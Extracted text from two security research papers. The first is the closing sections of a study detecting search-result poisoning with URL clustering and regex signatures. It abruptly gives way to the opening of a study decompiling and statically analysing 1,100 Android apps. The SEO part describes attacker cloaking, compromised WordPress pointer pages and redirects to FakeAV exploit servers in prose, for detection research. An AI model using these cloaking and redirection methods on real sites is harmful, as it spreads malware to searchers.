distribution of number of URLs in each Web page.
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Figure 10: An example malicious group that has a sim-
ilar number of URLs in each Web page.

of URLs that contain keywords one by one.
Finally, for each malicious group, deSEO outputs reg-

ular expression signatures using the signature generation
system AutoRE [28]. Since URLs within a group have
similar features, most groups output only one signature.
We apply the derived signatures to large search engines
and are able to capture a broad set of attacks appearing
in search engine results (see details in Section 6.3).

5 Results

In this section, we describe our datasets, which consist
of large sets of Web URLs, search engine query logs,
snapshot of Web content, and trendy keywords. Using
these datasets, we evaluate the effectiveness of deSEO in
identifying malicious groups of URLs corresponding to
different SEO attacks.

5.1 Dataset

We collect three sampled sets of URLs from Bing. These
URLs are sampled from all URLs that the crawler saw
during the months of June 2010, September 2010, and
January 2011. Each sampled set of URLs contains over
a hundred billion URLs. We use the June URLs as a
historical snapshot and apply deSEO to September and
January URL sets.

The second dataset we use is a sampled search query
log from September 2010 that contains over 1 billion
query requests. It records information about each query
such as query terms, clicks, query IP address, cookie,
and user agent. Because of privacy concerns, cookies
and user agents are anonymized by hashing. In addition,
when we look at IP addresses in the log, we focus on
studying the IP addresses of compromised Web servers,
rather than individual normal users.

The trendy keywords we use are obtained from Google
Trends [9]. We collect daily Google Trends keywords
from May 28th, 2010 to February 3rd, 2011. Each day
has 20 popular search terms.

5.2 Detection results
5.2.1 History-based detection

We apply the history-based detection to the URLs of
September and January. Since we have over a hundred
billion URLs, to reduce the processing overhead, we first
filter out the top 10,000 Alexa [1] Web sites as we be-
lieve those servers are relatively well managed and have
a lower chance of getting compromised. Later, after we
derive regular expression patterns, we could apply them
to URLs corresponding to these Web sites to detect ma-
licious ones, if any, hosted by these servers.

With trendy keyword With new structure
Month Domains URLs Domains URLs
Sept 10 428,430 1,481,766 136,387 366,767
Jan 11 512,617 3,255,140 211,225 1,102,878

Table 2: History-based URL filtering.

We extract all URLs on remaining domains that con-
tain trendy keywords. Table 2 shows the results. In
September, over 1 million URLs have trendy keywords,
but in Jan the number jumps to 3 million, showing the
potential increase of SEO attacks. We next choose URLs
with new URL prefixes by comparing the URL prefixes
of September 2010 and January 2011 to those of June
2010. For URLs that contain new prefixes, we select
them and pass them to the next step. This step removes
about two thirds of the URLs.

5.2.2 Clustering results

We extract the domain features as described in Section
4.2 and apply the K-means++ algorithm to cluster these
domains. We vary the value of K and obtain similar
results since we apply the K-means++ algorithm iter-
atively. Table 3 shows the results of K=100. (The
third and fourth columns are explained below.) For both
months, the clustering algorithm outputs hundreds of
groups.
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Figure 11: The distribution of peak values: percent-
age of pages sharing the same number of URLs within
a group.

5.2.3 Group analysis

As we have grouped similar Web sites into a small num-
ber of groups, we use group similarity to distinguish le-
gitimate groups from malicious ones. We use the URL
features mentioned in Section 4.3 to filter out obvious
false-positive groups.

Figure 11 shows the distribution of the peak value
among all groups. We can see that there are a small
number of groups that have high peak values. But most
groups have small peak values as their pages are diverse.
We pick a threshold for the peak value of 0.45, which fil-
ters most legitimate groups, as shown in the third column
of Table 3. After filtering, less than 20 groups remain,
and we manually go through these groups to pick out ma-
licious ones.

Number of groups
Month Total Above threshold Malicious

Sept 10 290 14 9
Jan 11 272 16 11

Table 3: Clustering and group analysis results.

In total, we find 9 malicious groups from the Septem-
ber data and 11 groups from the January data. The reg-
ular expressions derived from two datasets mostly over-
lap. This shows that there are a relatively small num-
ber of SEO campaigns, and that they are long-lasting.
Hence, capturing one signature can be useful to capture
many compromised sites over time. In total, we capture
957 unique compromised domains and 15,482 malicious
URLs in our sampled datasets.

Figure 12 shows a few derived regular expres-
sion samples. These include expressions that match
the URLs of compromised servers that we study in
Section 3, but also a number of new ones. Note that
some of the regular expressions may look generic,
e.g., */index.php/?w{4,5}=(w+(+w+)+)$,
which matches malicious URLs like: http:

//www.kantana.com/2009/index.php/
?bqfb=justin+bieber+breaks+neck. At first
glance, one might think index.php followed by words
would match many legitimate URLs, but it turns out that
it is rare to have “/?” in between. Further, the word
bqfb makes it even clearer that this is an automatically
generated URL.

6 Attack Analysis
In this section, we leverage the results produced by de-
SEO to gain more insights into SEO attacks. First, we
study a new attack found by deSEO, which has a differ-
ent link structure than the one we detect in Section 3.
Second, we study the search engine queries originating
from the IP addresses of compromised servers, as SEO
toolkits often query the search engines to generate SEO
pages. Finally we apply the derived regular expressions
to live search results to detect a broad set of attacks.

6.1 Study of new attack
By examining deSEO’s captured malicious groups, we
find another SEO attack that uses a different methodol-
ogy for setting up SEO pages, boosting their page ranks,
and polluting the search index. We believe that this SEO
campaign is probably orchestrated by a different group of
attackers. We now characterize the differences between
this attack and the attack that we initially studied.

6.1.1 Link structure

This attack makes use of two sets of servers—one set that
hosts SEO pages that redirect to an exploit server, and a
second set of pointer pages that link to only these SEO
pages.

We find 120 pointer pages, all of which are hosted on
hacked Wordpress [24] blogs. Further analysis shows
that these are older versions of Wordpress that have vul-
nerabilities, and attackers use one of these vulnerabilities
to modify the xmlrpc.php files that are included in
the Wordpress installation by default. Each pointer page
contains 500 links to SEO pages hosted on 12 different
domains. The pointer pages are dynamic in that the set
of links contained in a page changes each time the page
is visited, and the set of the 12 domains also changes on
a daily basis.

In all, we find SEO pages hosted on 976 domains.
Similar to the previous attack, the SEO pages contain
content relevant to the poisoned terms and redirect users
to the exploit server. However, new to this attack, the
SEO pages did not link to each other. Instead, they re-
lied on incoming links from the pointer pages to boost
their pageranks, as well as to populate the search engine
index with new SEO pages. However, in addition, the
SEO pages started linking to each other starting in Jan-
uary 2011. This change suggests that the attackers are
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Figure 12: Examples of derived regular expressions.

constantly trying to improve the ranking of their pages
using different strategies.

6.1.2 Use of cloaking

This attack makes use of cloaking, both for the pointer
pages and the SEO pages. When a pointer page is ac-
cessed by a legitimate user, the original page content is
displayed, but if the page is accessed by a search-engine
crawler (identified by the user-agent string), then a page
containing links to the SEO pages is displayed.

The SEO pages behave differently depending on how
they are accessed. When accessed by a search engine
crawler, the page displayed is optimized for the poisoned
keywords. When a regular user accesses the page, he/she
is redirected to the exploit server, provided the referrer
field matches a known search engine and the user-agent
field indicates a Windows machine. In all other cases,
the SEO page redirects to a benign page.

6.1.3 Redirection and exploit infrastructure

This attack makes use of a completely different set of
redirection and exploit servers, though the FakeAV page
displayed at the end is almost identical. In comparison
with the previous attack, these SEO pages go through an
extra level of redirection for reaching the exploit server.
We find a total of 485 exploit domains, hosted on two
sets of IP address in the US (in Texas and New Jersey).

6.2 Queries from compromised servers
We check whether we see queries from the compromised
servers captured by deSEO using the Bing search log.
Queries from Web servers can be viewed as a signal of
potential compromise, as they could indicate search en-
gine scraping activities in order to generate content for
SEO pages. Less than 5% of the top 500 Alexa Web sites
ever submitted queries during the month of September
2010, while 46% of the compromised servers did. Note

that this does not necessarily mean the remaining ones
do not issue queries to search engines. They could have
been inactive during that month, or could have chosen to
use other search engines.

The queries from legitimate sites are mostly infrequent
(less than one per day). These may be generated by
human administrators, who are logged in on the Web
servers. Only around 1% of legitimate sites generated
a large number of queries. These queries went through
the affiliate program that partners with the search engine
company to provide search results.

Queries from the IPs of compromised servers are
more frequent than those of legitimate sites. In addition,
queries from the same group have similar behavior.
Often, they present the same user-agent string, e.g.,
“Mozilla/5.0 (Windows; U; Windows NT

5.1; en-US; rv:1.9.2) Gecko/20100115

Firefox/3.6”.
Relying on this user-agent string, together with trendy
keywords, we detect other IP addresses that share the
same pattern. Accurately determining the compromised
domains hosted on these IP addresses is challenging,
though, because compromised servers are usually small
Web servers hosted on hosting infrastructures. It is
common to have many domains (sometimes tens of
thousands) sharing the same IP address. Therefore,
seeing bad activities from an IP address is not sufficient
to pinpoint the exact compromised server.

Besides trendy keyword queries, we also identify a
number of other malicious queries from these compro-
mised servers. For example, there are queries of the form
of site:< hosting site >. This query returns all the
pages from a particular site. What is interesting is that
the site specified in the query is also hosted on the same
IP address that issued the query. Such queries are seen
when a site is compromised, and the attackers try to de-

12
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60 trendy keywords 60 attacker poisoned keywords
# of matched searches # of matched URLs # of matched searches # of matched URLs

Google 16 39 27 124
Bing 0 0 1 1

Table 4: Matching Google and Bing search results using derived regular expressions.

termine which pages to inject code into; they typically
pick the most popular pages, i.e. the ones that show up
high in the search results.

6.3 Matching Google and Bing queries
We apply our derived regular expressions of Sec-
tion 5.2.3 to the Google and Bing search engines. We use
two sets of query terms. The first set is a set of 60 trendy
keywords obtained from Google Trends (February 1st to
February 3rd, 2011). The second set is a set of 60 key-
words poisoned by attackers (but not in Google Trends),
which were randomly selected from the keywords ap-
pearing in captured malicious URLs. For each keyword,
we manually perform Web search and then extract the top
100 results returned from Google and Bing. We use only
60 search terms because the search queries are issued
manually—automated queries and screen-scraping are
against the terms of use, and the search results obtained
using the search APIs are not consistent with the results
obtained through a browser. (While we do not know why
the API results differ from the browser-based search re-
sults, we speculate that the API search results are not as
fresh, so contain older and more well-established links.)

For a total of 120 keywords, 36% of them yield at
least one malicious link in the top 100 results (which
are spread over ten pages). Table 4 shows the detailed
results. Not surprisingly, attackers are even more suc-
cessful in poisoning non-trendy keywords that they se-
lect (45% match rate). This is because fewer Web pages
may match these keywords and hence it can be easier
for malicious links to appear among the top search re-
sults. Their distribution, i.e., how high in the search re-
sults these links are displayed, is shown in Figure 13.
We can see that the malicious links are spread over all
of the top 10 pages. Similar to previous reports [19], we
find Bing top search results contain relatively fewer ma-
licious links. (Experiments were conducted in February
2011; the search results of both Google and Bing have
been improved since then.)

We manually verified all the matches and did not find
false positives. All of the matches are generated by only
two regular expressions—the first and the seventh in Fig-
ure 12.

We run all matching URLs through Firefox using the
Google Safebrowsing API and Internet Explorer (using
its internal blacklist), and none of them were blocked by
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Figure 13: The number of malicious links found in
different pages of the search results for 60 popular
keywords.

either browser at the time of the experiment. This result
indicates that deSEO is able to capture live attacks that
have not yet been reported.

7 Discussion and Conclusion
In this paper, we study a large-scale, live search-result
poisoning attack that leverages SEO techniques. Based
on our observations, we develop a system called de-
SEO that automatically detects additional malicious SEO
campaigns. By deriving URL signatures from our results
and applying them to both Google and Bing, we find 36%
of searches yield links to malicious pages among their
top results. Our paper appears to be the first to present
a systematic study of search-result poisoning attacks and
how to detect them.

Attackers may wish to evade deSEO detection by not
embedding keywords in URLs. However, this approach
reduces the chance of getting SEO links to the top search
results, because keywords in URLs appear to be an im-
portant feature for relevance computation. Also, it may
reduce the chance of clicks by end users, as URLs with
keywords look more relevant to users who search using
these keywords. Attackers may also wish to diversify
the SEO link structures so that they look different across
different domains. Our history-based detection will still
pick such SEO links as long as their URL structures ap-
pear different than those used previously by the same do-
mains. To further detect the diversified SEO links as a
group, we could alternatively adopt content-based solu-
tions by comparing their page similarity [21], possibly
on virtual machines [22].

13
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In our study, we find that attackers usually put up a
large number of new pages after compromising a Web
site, which is often relatively inactive before compro-
mise. Therefore, search engines could give a lower rank
to new pages on previously inactive sites. Search engines
could also consider dense link structures to identify SEO
attacks, if they are willing to crawl most of the malicious
pages and if they can afford to perform offline analysis.
In addition, we notice that the contents of SEO pages are
mostly irrelevant to the compromised site’s homepage,
and sometimes even the language is different. Therefore,
semantic-based approaches are also promising avenues
for further investigation.
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Abstract
The fluidity of application markets complicate smart-
phone security. Although recent efforts have shed light
on particular security issues, there remains little insight
into broader security characteristics of smartphone ap-
plications. This paper seeks to better understand smart-
phone application security by studying 1,100 popular
free Android applications. We introduce the ded decom-
piler, which recovers Android application source code
directly from its installation image. We design and exe-
cute a horizontal study of smartphone applications based
on static analysis of 21 million lines of recovered code.
Our analysis uncovered pervasive use/misuse of person-
al/phone identifiers, and deep penetration of advertising
and analytics networks. However, we did not find ev-
idence of malware or exploitable vulnerabilities in the
studied applications. We conclude by considering the
implications of these preliminary findings and offer di-
rections for future analysis.

1 Introduction
The rapid growth of smartphones has lead to a renais-
sance for mobile services. Go-anywhere applications
support a wide array of social, financial, and enterprise
services for any user with a cellular data plan. Appli-
cation markets such as Apple’s App Store and Google’s
Android Market provide point and click access to hun-
dreds of thousands of paid and free applications. Mar-
kets streamline software marketing, installation, and
update—therein creating low barriers to bring applica-
tions to market, and even lower barriers for users to ob-
tain and use them.

The fluidity of the markets also presents enormous se-
curity challenges. Rapidly developed and deployed ap-
plications [40], coarse permission systems [16], privacy-
invading behaviors [14, 12, 21], malware [20, 25, 38],
and limited security models [36, 37, 27] have led to ex-
ploitable phones and applications. Although users seem-

ingly desire it, markets are not in a position to provide
security in more than a superficial way [30]. The lack of
a common definition for security and the volume of ap-
plications ensures that some malicious, questionable, and
vulnerable applications will find their way to market.

In this paper, we broadly characterize the security of
applications in the Android Market. In contrast to past
studies with narrower foci, e.g., [14, 12], we consider a
breadth of concerns including both dangerous functional-
ity and vulnerabilities, and apply a wide range of analysis
techniques. In this, we make two primary contributions:

• We design and implement a Dalvik decompilier,
ded. ded recovers an application’s Java source
solely from its installation image by inferring lost
types, performing DVM-to-JVM bytecode retarget-
ing, and translating class and method structures.

• We analyze 21 million LOC retrieved from the top
1,100 free applications in the Android Market using
automated tests and manual inspection. Where pos-
sible, we identify root causes and posit the severity
of discovered vulnerabilities.

Our popularity-focused security analysis provides in-
sight into the most frequently used applications. Our
findings inform the following broad observations.

1. Similar to past studies, we found wide misuse of
privacy sensitive information—particularly phone
identifiers and geographic location. Phone iden-
tifiers, e.g., IMEI, IMSI, and ICC-ID, were used
for everything from “cookie-esque” tracking to ac-
counts numbers.

2. We found no evidence of telephony misuse, back-
ground recording of audio or video, abusive connec-
tions, or harvesting lists of installed applications.

3. Ad and analytic network libraries are integrated
with 51% of the applications studied, with Ad Mob
(appearing in 29.09% of apps) and Google Ads (ap-
pearing in 18.72% of apps) dominating. Many ap-
plications include more than one ad library.
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4. Many developers fail to securely use Android APIs.
These failures generally fall into the classification
of insufficient protection of privacy sensitive infor-
mation. However, we found no exploitable vulnera-
bilities that can lead malicious control of the phone.

This paper is an initial but not final word on An-
droid application security. Thus, one should be cir-
cumspect about any interpretation of the following re-
sults as a definitive statement about how secure appli-
cations are today. Rather, we believe these results are
indicative of the current state, but there remain many
aspects of the applications that warrant deeper analy-
sis. We plan to continue with this analysis in the fu-
ture and have made the decompiler freely available at
http://siis.cse.psu.edu/ded/ to aid the broader
security community in understanding Android security.

The following sections reflect the two thrusts of this
work: Sections 2 and 3 provide background and detail
our decompilation process, and Sections 4 and 5 detail
the application study. The remaining sections discuss our
limitations and interpret the results.

2 Background
Android: Android is an OS designed for smartphones.
Depicted in Figure 1, Android provides a sandboxed ap-
plication execution environment. A customized embed-
ded Linux system interacts with the phone hardware and
an off-processor cellular radio. The Binder middleware
and application API runs on top of Linux. To simplify,
an application’s only interface to the phone is through
these APIs. Each application is executed within a Dalvik
Virtual Machine (DVM) running under a unique UNIX
uid. The phone comes pre-installed with a selection of
system applications, e.g., phone dialer, address book.

Applications interact with each other and the phone
through different forms of IPC. Intents are typed inter-
process messages that are directed to particular appli-
cations or systems services, or broadcast to applications
subscribing to a particular intent type. Persistent content
provider data stores are queried through SQL-like inter-
faces. Background services provide RPC and callback
interfaces that applications use to trigger actions or ac-
cess data. Finally user interface activities receive named
action signals from the system and other applications.

Binder acts as a mediation point for all IPC. Access
to system resources (e.g., GPS receivers, text messag-
ing, phone services, and the Internet), data (e.g., address
books, email) and IPC is governed by permissions as-
signed at install time. The permissions requested by the
application and the permissions required to access the
application’s interfaces/data are defined in its manifest
file. To simplify, an application is allowed to access a
resource or interface if the required permission allows
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Figure 1: The Android system architecture

it. Permission assignment—and indirectly the security
policy for the phone—is largely delegated to the phone’s
owner: the user is presented a screen listing the permis-
sions an application requests at install time, which they
can accept or reject.

Dalvik Virtual Machine: Android applications are writ-
ten in Java, but run in the DVM. The DVM and Java byte-
code run-time environments differ substantially:
Application Structure. Java applications are composed
of one or more .class files, one file per class. The JVM
loads the bytecode for a Java class from the associated
.class file as it is referenced at run time. Conversely, a
Dalvik application consists of a single .dex file contain-
ing all application classes.

Figure 2 provides a conceptual view of the compila-
tion process for DVM applications. After the Java com-
piler creates JVM bytecode, the Dalvik dx compiler con-
sumes the .class files, recompiles them to Dalvik byte-
code, and writes the resulting application into a single
.dex file. This process consists of the translation, recon-
struction, and interpretation of three basic elements of
the application: the constant pools, the class definitions,
and the data segment. A constant pool describes, not sur-
prisingly, the constants used by a class. This includes,
among other items, references to other classes, method
names, and numerical constants. The class definitions
consist in the basic information such as access flags and
class names. The data element contains the method code
executed by the target VM, as well as other information
related to methods (e.g., number of DVM registers used,
local variable table, and operand stack sizes) and to class
and instance variables.
Register architecture. The DVM is register-based,
whereas existing JVMs are stack-based. Java bytecode
can assign local variables to a local variable table before
pushing them onto an operand stack for manipulation by
opcodes, but it can also just work on the stack without
explicitly storing variables in the table. Dalvik bytecode
assigns local variables to any of the 216 available regis-
ters. The Dalvik opcodes directly manipulate registers,
rather than accessing elements on a program stack.
Instruction set. The Dalvik bytecode instruction set is
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substantially different than that of Java. Dalvik has 218
opcodes while Java has 200; however, the nature of the
opcodes is very different. For example, Java has tens
of opcodes dedicated to moving elements between the
stack and local variable table. Dalvik instructions tend to
be longer than Java instructions; they often include the
source and destination registers. As a result, Dalvik ap-
plications require fewer instructions. In Dalvik bytecode,
applications have on average 30% fewer instructions than
in Java, but have a 35% larger code size (bytes) [9].

Constant pool structure. Java applications replicate ele-
ments in constant pools within the multiple .class files,
e.g., referrer and referent method names. The dx com-
piler eliminates much of this replication. Dalvik uses a
single pool that all classes simultaneously reference. Ad-
ditionally, dx eliminates some constants by inlining their
values directly into the bytecode. In practice, integers,
long integers, and single and double precision floating-
point elements disappear during this process.

Control flow Structure. Control flow elements such
as loops, switch statements and exception handlers are
structured differently in Dalvik and Java bytecode. Java
bytecode structure loosely mirrors the source code,
whereas Dalvik bytecode does not.

Ambiguous primitive types. Java bytecode vari-
able assignments distinguish between integer (int) and
single-precision floating-point (float) constants and be-
tween long integer (long) and double-precision floating-
point (double) constants. However, Dalvik assignments
(int/float and long/double) use the same opcodes for
integers and floats, e.g., the opcodes are untyped beyond
specifying precision.

Null references. The Dalvik bytecode does not specify
a null type, instead opting to use a zero value constant.
Thus, constant zero values present in the Dalvik byte-
code have ambiguous typing that must be recovered.

Comparison of object references. The Java bytecode
uses typed opcodes for the comparison of object refer-
ences (if acmpeq and if acmpne) and for null compar-
ison of object references (ifnull and ifnonnull). The
Dalvik bytecode uses a more simplistic integer compar-

ison for these purposes: a comparison between two in-
tegers, and a comparison of an integer and zero, respec-
tively. This requires the decompilation process to recover
types for integer comparisons used in DVM bytecode.

Storage of primitive types in arrays. The Dalvik byte-
code uses ambiguous opcodes to store and retrieve el-
ements in arrays of primitive types (e.g., aget for in-
t/float and aget-wide for long/double) whereas the cor-
responding Java bytecode is unambiguous. The array
type must be recovered for correct translation.

3 The ded decompiler
Building a decompiler from DEX to Java for the study
proved to be surprisingly challenging. On the one hand,
Java decompilation has been studied since the 1990s—
tools such as Mocha [5] date back over a decade, with
many other techniques being developed [39, 32, 31, 4,
3, 1]. Unfortunately, prior to our work, there existed no
functional tool for the Dalvik bytecode.1 Because of the
vast differences between JVM and DVM, simple modifi-
cation of existing decompilers was not possible.

This choice to decompile the Java source rather than
operate on the DEX opcodes directly was grounded in
two reasons. First, we wanted to leverage existing tools
for code analysis. Second, we required access to source
code to identify false-positives resulting from automated
code analysis, e.g., perform manual confirmation.
ded extraction occurs in three stages: a) retarget-

ing, b) optimization, and c) decompilation. This sec-
tion presents the challenges and process of ded, and con-
cludes with a brief discussion of its validation. Interested
readers are referred to [35] for a thorough treatment.

3.1 Application Retargeting

The initial stage of decompilation retargets the applica-
tion .dex file to Java classes. Figure 3 overviews this
process: (1) recovering typing information, (2) translat-
ing the constant pool, and (3) retargeting the bytecode.

Type Inference: The first step in retargeting is to iden-
tify class and method constants and variables. However,
the Dalvik bytecode does not always provide enough in-
formation to determine the type of a variable or constant
from its register declaration. There are two generalized
cases where variable types are ambiguous: 1) constant
and variable declaration only specifies the variable width
(e.g., 32 or 64 bits), but not whether it is a float, integer,
or null reference; and 2) comparison operators do not
distinguish between integer and object reference compar-
ison (i.e., null reference checks).

Type inference has been widely studied [44]. The sem-
inal Hindley-Milner [33] algorithm provides the basis for
type inference algorithms used by many languages such



318 20th USENIX Security Symposium USENIX Association

(1) DEX Parsing

(2) Java .class 
Conversion

(3) Java .class 
Optimization

Missing Type 
Inference

Constant Pool 
Conversion

Method Code 
Retargeting

CFG 
Construction

Type Inference 
Processing

Constant
 Identification

Constant Pool 
Translation

Bytecode 
Reorganization

Instruction Set 
Translation

Figure 3: Dalvik bytecode retargeting

as Haskell and ML. These approaches determine un-
known types by observing how variables are used in op-
erations with known type operands. Similar techniques
are used by languages with strong type inference, e.g.,
OCAML, as well weaker inference, e.g., Perl.
ded adopts the accepted approach: it infers register

types by observing how they are used in subsequent op-
erations with known type operands. Dalvik registers
loosely correspond to Java variables. Because Dalvik
bytecode reuses registers whose variables are no longer
in scope, we must evaluate the register type within its
context of the method control flow, i.e., inference must
be path-sensitive. Note further that ded type inference is
also method-local. Because the types of passed param-
eters and return values are identified by method signa-
tures, there is no need to search outside the method.

There are three ways ded infers a register’s type. First,
any comparison of a variable or constant with a known
type exposes the type. Comparison of dissimilar types
requires type coercion in Java, which is propagated to
the Dalvik bytecode. Hence legal Dalvik comparisons al-
ways involve registers of the same type. Second, instruc-
tions such as add-int only operate on specific types,
manifestly exposing typing information. Third, instruc-
tions that pass registers to methods or use a return value
expose the type via the method signature.

The ded type inference algorithm proceeds as follows.
After reconstructing the control flow graph, ded identi-
fies any ambiguous register declaration. For each such
register, ded walks the instructions in the control flow
graph starting from its declaration. Each branch of the
control flow encountered is pushed onto an inference
stack, e.g., ded performs a depth-first search of the con-
trol flow graph looking for type-exposing instructions. If
a type-exposing instruction is encountered, the variable
is labeled and the process is complete for that variable.2

There are three events that cause a branch search to ter-

minate: a) when the register is reassigned to another vari-
able (e.g., a new declaration is encountered), b) when a
return function is encountered, and c) when an exception
is thrown. After a branch is abandoned, the next branch
is popped off the stack and the search continues. Lastly,
type information is forward propagated, modulo register
reassignment, through the control flow graph from each
register declaration to all subsequent ambiguous uses.
This algorithm resolves all ambiguous primitive types,
except for one isolated case when all paths leading to
a type ambiguous instruction originate with ambiguous
constant instructions (e.g., all paths leading to an integer
comparison originate with registers assigned a constant
zero). In this case, the type does not impact decompila-
tion, and a default type (e.g., integer) can be assigned.

Constant Pool Conversion: The .dex and .class file
constant pools differ in that: a) Dalvik maintains a sin-
gle constant pool for the application and Java maintains
one for each class, and b) Dalvik bytecode places primi-
tive type constants directly in the bytecode, whereas Java
bytecode uses the constant pool for most references. We
convert constant pool information in two steps.

The first step is to identify which constants are needed
for a .class file. Constants include references to
classes, methods, and instance variables. ded traverses
the bytecode for each method in a class, noting such ref-
erences. ded also identifies all constant primitives.

Once ded identifies the constants required by a class,
it adds them to the target .class file. For primitive type
constants, new entries are created. For class, method,
and instance variable references, the created Java con-
stant pool entries are based on the Dalvik constant pool
entries. The constant pool formats differ in complex-
ity. Specifically, Dalvik constant pool entries use sig-
nificantly more references to reduce memory overhead.

Method Code Retargeting: The final stage of the re-
targeting process is the translation of the method code.
First, we preprocess the bytecode to reorganize structures
that cannot be directly retargeted. Second, we linearly
traverse the DVM bytecode and translate to the JVM.

The preprocessing phase addresses multidimensional
arrays. Both Dalvik and Java use blocks of bytecode
instructions to create multidimensional arrays; however,
the instructions have different semantics and layout. ded
reorders and annotates the bytecode with array size and
type information for translation.

The bytecode translation linearly processes each
Dalvik instruction. First, ded maps each referenced reg-
ister to a Java local variable table index. Second, ded
performs an instruction translation for each encountered
Dalvik instruction. As Dalvik bytecode is more compact
and takes more arguments, one Dalvik instruction fre-
quently expands to multiple Java instructions. Third, ded
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patches the relative offsets used for branches based on
preprocessing annotations. Finally, ded defines excep-
tion tables that describe try/catch/finally blocks.
The resulting translated code is combined with the con-
stant pool to creates a legal Java .class file.

The following is an example translation for add-int:
Dalvik Java
add-int d0,s0,s1 iload s�0

iload s�1
iadd

istore d�
0

where ded creates a Java local variable for each regis-
ter, i.e., d0 → d�

0, s0 → s�0, etc. The translation creates
four Java instructions: two to push the variables onto the
stack, one to add, and one to pop the result.

3.2 Optimization and Decompilation
At this stage, the retargeted .class files can be de-
compiled using existing tools, e.g., Fernflower [1] or
Soot [45]. However, ded’s bytecode translation process
yields unoptimized Java code. For example, Java tools
often optimize out unnecessary assignments to the local
variable table, e.g., unneeded return values. Without op-
timization, decompiled code is complex and frustrates
analysis. Furthermore, artifacts of the retargeting pro-
cess can lead to decompilation errors in some decompil-
ers. The need for bytecode optimization is easily demon-
strated by considering decompiled loops. Most decom-
pilers convert for loops into infinite loops with break

instructions. While the resulting source code is func-
tionally equivalent to the original, it is significantly more
difficult to understand and analyze, especially for nested
loops. Thus, we use Soot as a post-retargeting optimizer.
While Soot is centrally an optimization tool with the abil-
ity to recover source code in most cases, it does not pro-
cess certain legal program idioms (bytecode structures)
generated by ded. In particular, we encountered two
central problems involving, 1) interactions between syn-
chronized blocks and exception handling, and 2) com-
plex control flows caused by break statements. While the
Java bytecode generated by ded is legal, the source code
failure rate reported in the following section is almost en-
tirely due to Soot’s inability to extract source code from
these two cases. We will consider other decompilers in
future work, e.g., Jad [4], JD [3], and Fernflower [1].

3.3 Source Code Recovery Validation
We have performed extensive validation testing of
ded [35]. The included tests recovered the source code
for small, medium and large open source applications
and found no errors in recovery. In most cases the recov-
ered code was virtually indistinguishable from the origi-
nal source (modulo comments and method local-variable
names, which are not included in the bytecode).

Table 1: Studied Applications (from Android Market)
Total Retargeted Decompiled

Category Classes Classes Classes LOC
Comics 5627 99.54% 94.72% 415625
Communication 23000 99.12% 92.32% 1832514
Demo 8012 99.90% 94.75% 830471
Entertainment 10300 99.64% 95.39% 709915
Finance 18375 99.34% 94.29% 1556392
Games (Arcade) 8508 99.27% 93.16% 766045
Games (Puzzle) 9809 99.38% 94.58% 727642
Games (Casino) 10754 99.39% 93.38% 985423
Games (Casual) 8047 99.33% 93.69% 681429
Health 11438 99.55% 94.69% 847511
Lifestyle 9548 99.69% 95.30% 778446
Multimedia 15539 99.20% 93.46% 1323805
News/Weather 14297 99.41% 94.52% 1123674
Productivity 14751 99.25% 94.87% 1443600
Reference 10596 99.69% 94.87% 887794
Shopping 15771 99.64% 96.25% 1371351
Social 23188 99.57% 95.23% 2048177
Libraries 2748 99.45% 94.18% 182655
Sports 8509 99.49% 94.44% 651881
Themes 4806 99.04% 93.30% 310203
Tools 9696 99.28% 95.29% 839866
Travel 18791 99.30% 94.47% 1419783
Total 262110 99.41% 94.41% 21734202

We also used ded to recover the source code for the
top 50 free applications (as listed by the Android Market)
from each of the 22 application categories—1,100 in to-
tal. The application images were obtained from the mar-
ket using a custom retrieval tool on September 1, 2010.
Table 1 lists decompilation statistics. The decompilation
of all 1,100 applications took 497.7 hours (about 20.7
days) of compute time. Soot dominated the processing
time: 99.97% of the total time was devoted to Soot opti-
mization and decompilation. The decompilation process
was able to recover over 247 thousand classes spread
over 21.7 million lines of code. This represents about
94% of the total classes in the applications. All decom-
pilation errors are manifest during/after decompilation,
and thus are ignored for the study reported in the latter
sections. There are two categories of failures:

Retargeting Failures. 0.59% of classes were not retar-
geted. These errors fall into three classes: a) unresolved
references which prevent optimization by Soot, b) type
violations caused by Android’s dex compiler and c) ex-
tremely rare cases in which ded produces illegal byte-
code. Recent efforts have focused on improving opti-
mization, as well as redesigning ded with a formally de-
fined type inference apparatus. Parallel work on improv-
ing ded has been able to reduce these errors by a third,
and we expect further improvements in the near future.

Decompilation Failures. 5% of the classes were suc-
cessfully retargeted, but Soot failed to recover the source
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code. Here we are limited by the state of the art in de-
compilation. In order to understand the impact of de-
compiling ded retargeted classes verses ordinary Java
.class files, we performed a parallel study to evaluate
Soot on Java applications generated with traditional Java
compilers. Of 31,553 classes from a variety of packages,
Soot was able to decompile 94.59%, indicating we can-
not do better while using Soot for decompilation.

A possible way to improve this is to use a different de-
compiler. Since our study, Fernflower [1] was available
for a short period as part of a beta test. We decompiled
the same 1,100 optimized applications using Fernflower
and had a recovery rate of 98.04% of the 1.65 million
retargeted methods–a significant improvement. Future
studies will investigate the fidelity of Fernflower’s output
and its appropriateness as input for program analysis.

4 Evaluating Android Security
Our Android application study consisted of a broad range
of tests focused on three kinds of analysis: a) exploring
issues uncovered in previous studies and malware advi-
sories, b) searching for general coding security failures,
and c) exploring misuse/security failures in the use of
Android framework. The following discusses the pro-
cess of identifying and encoding the tests.

4.1 Analysis Specification
We used four approaches to evaluate recovered source
code: control flow analysis, data flow analysis, struc-
tural analysis, and semantic analysis. Unless otherwise
specified, all tests used the Fortify SCA [2] static anal-
ysis suite, which provides these four types of analysis.
The following discusses the general application of these
approaches. The details for our analysis specifications
can be found in the technical report [15].
Control flow analysis. Control flow analysis imposes
constraints on the sequences of actions executed by an
input program P, classifying some of them as errors. Es-
sentially, a control flow rule is an automaton A whose
input words are sequences of actions of P—i.e., the rule
monitors executions of P. An erroneous action sequence
is one that drives A into a predefined error state. To stat-
ically detect violations specified by A, the program anal-
ysis traces each control flow path in the tool’s model of
P, synchronously “executing” A on the actions executed
along this path. Since not all control flow paths in the
model are feasible in concrete executions of P, false pos-
itives are possible. False negatives are also possible in
principle, though uncommon in practice. Figure 4 shows
an example automaton for sending intents. Here, the er-
ror state is reached if the intent contains data and is sent
unprotected without specifying the target component, re-
sulting in a potential unintended information leakage.

init
p1

p2

p3

p4

p5
p6

p1 = i.$new_class(...)
p2 = i.$new(...) |
        i.$new_action(...)
p3 = i.$set_class(...) |
        i.$set_component(...)
p4 = i.$put_extra(...)
p5 = i.$set_class(...) |
        i.$set_component(...)
p6 = $unprotected_send(i) |
        $protected_send(i, null)

targeted error

empty has_data

Figure 4: Example control flow specification

Data flow analysis. Data flow analysis permits the
declarative specification of problematic data flows in the
input program. For example, an Android phone contains
several pieces of private information that should never
